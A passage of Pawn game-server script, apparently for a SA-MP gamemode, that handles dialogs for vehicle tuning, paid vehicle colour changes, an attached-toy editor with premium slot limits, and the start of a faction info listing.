						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
					}
	                case 1: {
						ShowPlayerDialog( playerid, dialog_TUNING_2, DIALOG_STYLE_INPUT, "Tuning System", "Enter Color ID 1", "OK", "Cancel" );
	                }
	                case 2: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_EXHAUST ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_EXHAUST;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], -2, -5, 0 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 3: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_FRONT_BUMPER ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_FRONT_BUMPER;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, 6, 0.5 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 4: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_REAR_BUMPER ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_REAR_BUMPER;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, -6, 0.5 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 5: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_ROOF ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_ROOF;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, 6, 2 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 6: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_SPOILER ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_SPOILER;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, -6, 2 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 7: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_SIDESKIRT ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_SIDESKIRT;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 4, 0, 0.5 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 8: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_WHEELS ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_WHEELS;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 4, 0, 0.5 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 9: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_STEREO ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_STEREO;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, -6, 2 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 10: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_HYDRAULICS ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_HYDRAULICS;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 2, 2, 2 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	                case 11: {

	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_NITRO ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_NITRO;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, -6, 2 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
	                }
	            }
	        }
	        else if( !response ) {
	            SetCameraBehindPlayer( playerid );
	        }
	    }
	    case dialog_TUNING_2: {
	        if( !response ) return 1;
			if( response ) {
			    if( !IsPlayerInAnyVehicle( playerid ) ) return SendErrorMessage( playerid, "You should be in a vehicle." );
	            if( GetPlayerState( playerid ) != PLAYER_STATE_DRIVER ) return SendErrorMessage( playerid, "You must be driver of this vehicle." );
				new entr = strval(inputtext);
				if(entr<0||entr>255)return ShowPlayerDialog( playerid, dialog_TUNING_2, DIALOG_STYLE_INPUT, "Tuning System", "Enter Color ID 1\n{FF0000}* Invalid color id entered.", "OK", "Cancel" );
				CheColor1[playerid]=entr;
				ShowPlayerDialog( playerid, 2368, DIALOG_STYLE_INPUT, "Tuning System", "Enter Color ID 2", "OK", "Cancel" );
                 //if( GetPlayerMoney( playerid ) < COLOR_PRICE ) return SendErrorMessage( playerid, "You do not have enough money." );
			    //new b1, b2;
			    //if(!strlen(tmp)) return ShowPlayerDialog( playerid, dialog_TUNING_2, DIALOG_STYLE_INPUT, "Tuning System", "Input Color1 ID and Color2 ID.\nExample: 0 1", "OK", "Cancel" );
				//if( b1 < 0 || b2 < 0 || b1 > 255 || b2 > 255 ) return SendErrorMessage( playerid, "Color ID can't be higher from 255 or lower than 0!");

				//ChangeVehicleColor( vehicleid, b1, b2 );
				//GivePlayerMoney( playerid, COLOR_PRICE );

				//ShowPlayerDialog( playerid, dialog_TUNING, DIALOG_STYLE_LIST, "Tuning System", "Paintjobs\nColors\nExhausts\nFront Bumper\nRear Bumper\nRoof\nSpoilers\nSide Skirts\nWheels\nCar Stereo\nHydraulics\nNitro", "OK", "Cancel" );
			}
		}
	}




if(dialogid == 2368)
{
	        if( !response ) return 1;
			    if( !IsPlayerInAnyVehicle( playerid ) ) return SendErrorMessage( playerid, "You should be in a vehicle." );
	            if( GetPlayerState( playerid ) != PLAYER_STATE_DRIVER ) return SendErrorMessage( playerid, "You must be driver of this vehicle." );
				new entr = strval(inputtext);
				if(entr<0||entr>255)return ShowPlayerDialog( playerid, 2368, DIALOG_STYLE_INPUT, "Tuning System", "Enter Color ID 2\n{FF0000}* Invalid color id entered.", "OK", "Cancel" );
				CheColor2[playerid]=entr;
				new cht[200];
				new price1=0, price2=0, finale=0, price1g=0, price2g=0, finaleg=0;
				if(CheColor1[playerid]<=127){price1=50;}
				if(CheColor1[playerid]>=128){price1g=100;}
				if(CheColor2[playerid]<=127){price2=50;}
				if(CheColor2[playerid]>=128){price2g=100;}
				finale=price1+price2;
				finaleg=price1g+price2g;
				format(cht, sizeof(cht), "Are you sure you want to change your vehicle color to (%d, %d)?\n{FF0000}* It will cost you $%s and %s golds", CheColor1[playerid], CheColor2[playerid], FormatNumber(finale), FormatNumber(finaleg));
				ShowPlayerDialog(playerid, 2369, DIALOG_STYLE_MSGBOX, "Tuning System", cht, "Yes", "No");
}

if(dialogid == 2369)
{
if(!response)return 1;
new price1=0, price2=0, finale=0, price1g=0, price2g=0, finaleg=0;
if(CheColor1[playerid]<=127){price1=50;}
if(CheColor1[playerid]>=128){price1g=100;}
if(CheColor2[playerid]<=127){price2=50;}
if(CheColor2[playerid]>=128){price2g=100;}
finale=price1+price2;
finaleg=price1g+price2g;
if(finale>GetPlayerPool(playerid))return SEM(playerid, "You haven't enough money.");
if(finaleg>PINFO[playerid][pGold])return SEM(playerid, "You haven't enough golds.");
PlayerInfo[playerid][pGold] -= finaleg;
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
GivePlayerPoolEx(playerid, -finale);
CheghadrPool[playerid] = (CheghadrPool[playerid]+finale);
new v1 = PINFO[playerid][pVeh1];
new v2 = PINFO[playerid][pVeh2];
new v3 = PINFO[playerid][pVeh3];
new v4 = PINFO[playerid][pVeh4];
new v5 = PINFO[playerid][pVeh5];
new v6 = PINFO[playerid][pVeh6];
new carid = GetPlayerVehicleID(playerid);
ChangeVehicleColor(carid, CheColor1[playerid], CheColor2[playerid] );
if(carid == PINFO[playerid][pCar_1])
{
vInfo[v1][cColor1] = CheColor1[playerid];
SaveKonValV(v1, "cColor1", CheColor1[playerid]);
vInfo[v1][cColor2] = CheColor2[playerid];
SaveKonValV(v1, "cColor2", CheColor2[playerid]);
}
if(carid == PINFO[playerid][pCar_2])
{
vInfo[v2][cColor1] = CheColor1[playerid];
SaveKonValV(v2, "cColor1", CheColor1[playerid]);
vInfo[v2][cColor2] = CheColor2[playerid];
SaveKonValV(v2, "cColor2", CheColor2[playerid]);
}
if(carid == PINFO[playerid][pCar_3])
{
vInfo[v3][cColor1] = CheColor1[playerid];
SaveKonValV(v3, "cColor1", CheColor1[playerid]);
vInfo[v3][cColor2] = CheColor2[playerid];
SaveKonValV(v3, "cColor2", CheColor2[playerid]);
}
if(carid == PINFO[playerid][pCar_4])
{
vInfo[v4][cColor1] = CheColor1[playerid];
SaveKonValV(v4, "cColor1", CheColor1[playerid]);
vInfo[v4][cColor2] = CheColor2[playerid];
SaveKonValV(v4, "cColor2", CheColor2[playerid]);
}
if(carid == PINFO[playerid][pCar_5])
{
vInfo[v5][cColor1] = CheColor1[playerid];
SaveKonValV(v5, "cColor1", CheColor1[playerid]);
vInfo[v5][cColor2] = CheColor2[playerid];
SaveKonValV(v5, "cColor2", CheColor2[playerid]);
}
if(carid == PINFO[playerid][pCar_6])
{
vInfo[v6][cColor1] = CheColor1[playerid];
SaveKonValV(v6, "cColor1", CheColor1[playerid]);
vInfo[v6][cColor2] = CheColor2[playerid];
SaveKonValV(v6, "cColor2", CheColor2[playerid]);
}
CheColor1[playerid]=9999;CheColor2[playerid]=9999;
}

if(dialogid == DIALOG_MOKHTASAT && response)
	{
	    new Float:Mokht;
	    new Slot;
	    if(LastMokhtasatDialog[playerid] > 0 && LastMokhtasatDialog[playerid] < 10)
	    {
	        Mokht = floatstr(inputtext);
	    }
	    else
	    {
	        Slot = strval(inputtext);
	    }
	    if(LastMokhtasatDialog[playerid] == 1)//x
	    {
	        ToysStudioDT[playerid][tX] = Mokht;
	        UpdateToysEditor(playerid);
	        UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 2)//y
	    {
            ToysStudioDT[playerid][tY] = Mokht;
            UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 3)//z
	    {
            ToysStudioDT[playerid][tZ] = Mokht;
            UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 4)//rx
	    {
            ToysStudioDT[playerid][trX] = Mokht;
            UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 5)//ry
	    {
            ToysStudioDT[playerid][trY] = Mokht;
            UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 6)//rz
	    {
            ToysStudioDT[playerid][trZ] = Mokht;
            UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 7)//sx
	    {
	    	if(Mokht > 1.5 || Mokht < 0.1) return SendClientMessage(playerid, 0xFFCC00FF, "Maximum Float Value is 1.5 and Mimimum is 0.1");
            ToysStudioDT[playerid][tsX] = Mokht;
            UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 8)//sy
	    {
	    	if(Mokht > 1.5 || Mokht < 0.1) return SendClientMessage(playerid, 0xFFCC00FF, "Maximum Float Value is 1.5 and Mimimum is 0.1");
            ToysStudioDT[playerid][tsY] = Mokht;
            UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 9)//sz
	    {
	    	if(Mokht > 1.5 || Mokht < 0.1) return SendClientMessage(playerid, 0xFFCC00FF, "Maximum Float Value is 1.5 and Mimimum is 0.1");
            ToysStudioDT[playerid][tsZ] = Mokht;
            UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    if(LastMokhtasatDialog[playerid] == 10)//slot
	    {
	        if(Slot >= 0 && Slot < 20)
	        {
	            new sloteghadimi = ToysStudioDT[playerid][WhoSlot];
	            ToysStudioDT[playerid][WhoSlot] = Slot;
			    FixToysStudioTemp(playerid, ToysStudioDT[playerid][WhoSlot]);
			    UpdateToysEditor(playerid);
			    PlayerObjectsInfo[playerid][sloteghadimi][ao_enable] = 0;
			    UpdateToySlot(playerid, sloteghadimi);
			    PlayerObjectsInfo[playerid][Slot][ao_enable] = 1;
			    UpdateToySlot(playerid, Slot);
	        }
	        else
	        {
	            SendClientMessage(playerid,COLOR_YELLOW2, "Error: Invalid slot.");
	        }
	    }
	    if(LastMokhtasatDialog[playerid] == 11)
	    {
	        ShowFelanPageAzFelanType(playerid, listitem + 1, 0);
	        ToysStudioDT[playerid][Enable] = 2;
			for(new i = 0; i < sizeof(OBJTTT); i++) TextDrawShowForPlayer(playerid, OBJTTT[i]);
			for(new c = 0; c < 13; c++)
		    {
		        PlayerTextDrawShow(playerid, SELECTER[playerid][c]);
		    }
		    for(new i = 0; i < sizeof(ToysGTD); i++)TextDrawHideForPlayer(playerid, ToysGTD[i]);
			for(new i = 0; i < 12; i++)PlayerTextDrawHide(playerid, TOYS_PTD[playerid][i]);
	    }
	    if(LastMokhtasatDialog[playerid] == 12)
	    {
	        new k = listitem + 1;
	        ToysStudioDT[playerid][obone] = k;
	        UpdateToysEditor(playerid);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	}
	if(dialogid == DIALOG_PLAYERTOYS && response)
	{
		new slot = listitem;
		if(PlayerObjectsInfo[playerid][slot][ao_model]==-1&&PlayerObjectsInfo[playerid][slot][ao_bone]==-1){OnPlayerCommandText(playerid, "/t");Error(playerid, "Error: This slot hasn't saved toy.") return 1;}
		if(PlayerObjectsInfo[playerid][slot][ao_enable] == 1)
		{
            SendClientMessage(playerid,COLOR_SINARANG, "* Toy unattached");
		    PlayerObjectsInfo[playerid][slot][ao_enable] = 0;
		    UpdateToySlot(playerid, slot);
		    ToysSlotSave(playerid, slot, 2);
		}
		else
		{
		    new usedslot = GetToysEnabled(playerid);
		    new name[MAX_PLAYER_NAME+1];
		    GetPlayerName(playerid, name, sizeof(name));
		    if(usedslot >= 3 && PINFO[playerid][pPremiumAccount] == 0)
		    {
				return SendClientMessage(playerid,COLOR_YELLOW2,"Error: You can't attach more than 3 toys to yourself because you haven't premium account.");
		    }
		    if(usedslot >= 6 && PINFO[playerid][pPremiumAccount] > 0)
		    {
		        return SendClientMessage(playerid,COLOR_YELLOW2,"Error: You can't attach more than 6 toys to yourself.");
		    }
		    SendClientMessage(playerid,COLOR_SINARANG, "* Toy attached");
		    PlayerObjectsInfo[playerid][slot][ao_enable] = 1;
		    UpdateToySlot(playerid, slot);
		    ToysSlotSave(playerid, slot, 2);
		}
	}
	if(dialogid == DIALOG_ARGB && response)
	{
		if(SelectColor[playerid]==1)
		{
			new str[20];
			format(str,sizeof(str),"0xFF%s",strtoupper(inputtext));
			ToysStudioDT[playerid][colorx1] = HexToInt(str);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		}
		else if(SelectColor[playerid]==2)
		{
			new str[20];
			format(str,sizeof(str),"0xFF%s",strtoupper(inputtext));
			ToysStudioDT[playerid][colorx2] = HexToInt(str);
            UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		}
	}




 if(dialogid == DIALOG_FACTIONS)
	{
	if(!response)
	{
	return 1;
	}
		new sqlbegir;
	    new SaveThese1[100];
	    new SaveThese2[100];
	    new SaveThese3[100];
	    new sendding[100];
	   if(listitem == 0)
	   {
	   ISelectedWhat[playerid] = 1;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
